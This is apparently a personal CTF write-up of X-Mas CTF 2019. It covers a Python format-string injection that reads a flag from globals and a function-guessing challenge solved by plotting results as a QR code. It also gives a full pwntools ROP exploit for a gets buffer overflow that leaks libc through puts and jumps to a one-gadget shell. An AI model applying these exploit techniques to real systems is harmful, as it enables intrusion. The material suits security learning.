The X-Mas CTF hosted by HTsP, ran from 13 Dec 2019 till 20 Dec 2019. It had some fun pwn challenges, including kernel pwn.
I was playing with the cr0wn 🇬🇧 which did pretty well in the first few days. The CTF was in the middle of exam season for me big oof, so many (including me) stopped playing and we lost the lead. But I do have some challenges done for the writeup, mainly misc, pwn and rev.
Let’s start with the simpler ones.
snt dcr shp
This was a python misc challenge that had many solves, you connect to SANTA’s Decoration shop via netcat. The menu screen gives 3 options, trying each out gave me the source code of this service when I typed 3.
...
SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice: 3
Santa shows you how his shop works to prove that he doesn't scam you!
import os, sys
from secret import flag
items = []
def menu():
print "SANTA's Decoration shop yay!"
print "1. Add new decoration to the shopping list"
print "2. View your shopping list"
print "3. Ask Santa for a suggestion"
sys.stdout.write ("Your choice: ")
sys.stdout.flush ()
return sys.stdin.readline ()
class Decoration(object):
def __init__(self, type, quantity):
self.quantity = quantity
self.type = type
def print_decoration(self):
print ('{0.quantity} x ... '+ self.type).format(self)
def leak_source_code():
print "Santa shows you how his shop works to prove that he doesn't scam you!\n\n"
with open(__file__, 'r') as f:
print f.read()
def add_item():
sys.stdout.write ("What item do you like to buy? ")
sys.stdout.flush ()
type = sys.stdin.readline ().strip ()
sys.stdout.write ("How many of those? ")
sys.stdout.flush ()
quantity = sys.stdin.readline ().strip () # Too lazy to sanitize this
items.append(Decoration(type, quantity))
print 'Thank you, your items will be added'
def show_items():
for dec in items:
dec.print_decoration()
print (""" ___
/` `'.
/ _..---;
| /__..._/ .--.-.
|.' e e | ___\\_|/____
(_)'--.o.--| | | |
.-( `-' = `-|____| |____|
/ ( |____ ____|
| ( |_ | | __|
| '-.--';/'/__ | | ( `|
| '. \\ )"";--`\\ /
\\ ; |--' `;.-'
|`-.__ ..-'--'`;..--'`
""")
while True:
choice = menu().strip ()
if(choice == '1'):
add_item()
elif(choice == '2'):
show_items()
elif(choice == '3'):
leak_source_code()
The print_decoration()
method concatenates user input into a format string.
class Decoration(object):
def __init__(self, type, quantity):
self.quantity = quantity
self.type = type
def print_decoration(self):
print ('{0.quantity} x ... '+ self.type).format(self)
This can be exploited for arbituary read of global variables through python magic.
The class has __init__
which contains the __global__
attribute, we can inject it through the type input.
Then triggering show_items
would print the flag along with some other junk.
The flag for this challenge is: X-MAS{C_15n7_th3_0nly_vuln3rabl3_l4nngu4g3_t0_f0rm47_57r1ng5}
Function plotter
Another misc challenge where you connect to a service and it asks you for the result of a function.
Trying some random numbers I found that 0 and 1 worked for most cases. So I continued under 2 assumptions.
- The function’s results are in the set
{0,1}
- The function does not change when you reconnect
My strategy is to try randomly 0 or 1, then record the result if it is successful. It would save the results in a pickle file and try the same number if it is seen again.
This would be more efficient if I recorded 0 if 1 fails, etc but this strategy was good enough.
However after guessing correctly 960 times, the service congratulated me but didn’t give me flag.
Now what?…
I decided to look at the name of this challenge, which gave me the idea to plot the results as an image.
This yielded a QR code that contains the flag: X-MAS{Th@t's_4_w31rD_fUnCt10n!!!_8082838205}
import pwn
import random
import pickle
import matplotlib.pyplot as plt
import numpy as np
random.seed(0xdeadbeef)
class Exploit(object):
def __init__(self):
self.success = 0
try:
with open('knowledge.pickle', 'rb') as f:
self.knowledge = pickle.load(f)
pwn.log.info(f'Loaded {len(self.knowledge)} knowledge')
except:
pwn.log.info('Unable to load knowledge, starting clean')
self.knowledge = {}
self.sh = pwn.remote('challs.xmas.htsp.ro', 13005)
def exploit(self):
self.sh.recvuntil('f(')
while True:
try:
params = self.sh.recvuntil(')')[:-1]
a, b = params.split(b', ')
a, b = int(a), int(b)
choice = self.knowledge.get((a,b), random.randint(0, 1))
self.sh.sendlineafter('=', str(choice))
res = self.sh.recvuntil('f(')
if b'Good!' in res:
if not (a, b) in self.knowledge:
pwn.log.info(f'Saving f{(a, b)} as {choice}')
self.knowledge[(a, b)] = choice
self.success += 1
elif (a, b) in self.knowledge:
pwn.log.info(f'Corrupted f{(a, b)} {choice}')
if self.success >= 960:
params = self.sh.recvuntil(')')[:-1]
a, b = params.split(b', ')
a, b = int(a), int(b)
choice = self.knowledge.get((a,b), random.randint(0, 1))
pwn.log.info(f'Knowledge suggests: {choice}')
self.sh.interactive()
except Exception as e:
pwn.log.critical(f'Exception:{e}')
with open('knowledge.pickle', 'wb') as f:
pickle.dump(self.knowledge, f)
pwn.log.critical(f'Dumped {len(self.knowledge)} knowledge')
break
pwn.log.info(f'Successful tries: {self.success}')
def plot(self):
img = np.zeros((31, 31), dtype=np.uint8)
xs = []
ys = []
for a, b in self.knowledge.keys():
if self.knowledge[(a, b)] == 0:
img[a, b] = 1
plt.imshow(img, cmap='gray')
plt.show()
e = Exploit()
e.plot()
Weather
A pwn challenge, nice.
The challenge service would give a massive base64 dump when connected. Decoding it gives an ELF file, which is slightly different every time.
By running a few of them I noticed that the behaviours are similar, with some functions in the middle that does basically nothing.
There is a vulnerable gets
call at the end which will cause a classic buffer overflow.
So the only thing that matters for exploiting it, is where the buffer is placed relative to rbp
.
Luckily, radare shows this in the disassembly.
The sample above shows an offset of 0x101
.
Now let’s see what protections are on this.
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
I am also assuming ASLR is enabled.
With this I can form the exploit plan.
- Connect to service and decode the elf file
- Read the PLT symbols using pwntools
- Read the buffer offsets
- Get the ROP gadgets
- Leak a GOT address using
puts
and calculate libc base address - Recurse the ROP chain to receive another input
- Jump to libc one gadget
Steps 3 and 4 could be automated but since the timeout is long enough to do it manually I didn’t want to waste time scripting it. However there is an issue with step 5, how do we know what libc it is?
Identifying libc
To do this, I first leaked a know function’s address. Then using a libc database I could look up what the libc version is and download a reference binary.
Leaking the last 3 hex digit of the printf
function shows that it is running libc 2.27.
Getting shell
Now all that’s left is to find a one gadget address in the library and I’ll have shell.
In this case it’s at offset: 0x4f2c5
Here’s the full exploit.
import pwn
import sys
from base64 import b64decode
# pwn.context.log_level = 'DEBUG'
if len(sys.argv) > 1:
sh = pwn.gdb.debug(sys.argv[1])
elf = pwn.ELF(sys.argv[1])
with open(sys.argv[1], 'rb') as f:
executable = f.read()
libc = pwn.ELF('./libc.so.6')
else:
sh = pwn.remote('challs.xmas.htsp.ro', 12002)
sh.recvuntil("Content: b'")
bin_b64 = sh.recvuntil("'")[:-1]
executable = b64decode(bin_b64)
with open('bin_temp.bin', 'wb') as f:
f.write(executable)
elf = pwn.ELF('bin_temp.bin')
libc = pwn.ELF('./libc6_2.27-3ubuntu1_amd64.so')
# Get offset + 200? Too lazy to script this quick copy and paste from r2
offset = int(input(), 16) + 8
# offset = 104
# Cause god damn pwntools doesn't work so just quickly copy and paste lol
POP_RDI = int(input(), 16)
# POP_RDI = 0x0000000000400b03 # Bin2
# Stage 1 leak libc
payload = b'A' * offset
payload += pwn.p64(POP_RDI)
payload += pwn.p64(elf.got['printf'])
payload += pwn.p64(elf.plt['puts'])
payload += pwn.p64(elf.entry)
sh.sendline(payload)
sh.sendline(payload)
# Leak printf and calculate libc_addr
# Ignore the variable names I was trying to leak puts when I first wrote it
# But turns out printf would be a better leak
sh.recvuntil('bye!\n')
puts_raw = sh.recvline().strip()
puts_addr = pwn.u64(puts_raw + b'\x00' * (8-len(puts_raw)))
pwn.log.info(f'Printf address: {hex(puts_addr)}')
libc_addr = puts_addr - libc.symbols['printf']
pwn.log.info(f'Libc address: {hex(libc_addr)}')
bin_sh = next(libc.search(b'/bin/sh')) + libc_addr
# Stage 2
payload = b'A' * offset
payload += pwn.p64(0x4f2c5 + libc_addr) # One gadget
sh.sendline(payload)
sh.interactive()
More in part 2
This is the end of my first write up on this CTF, I will be posting more once I cleaned up the exploits. There will be write ups on 2 kernel exploit challenges so be sure to look out for that.
Merry Christmas 🎅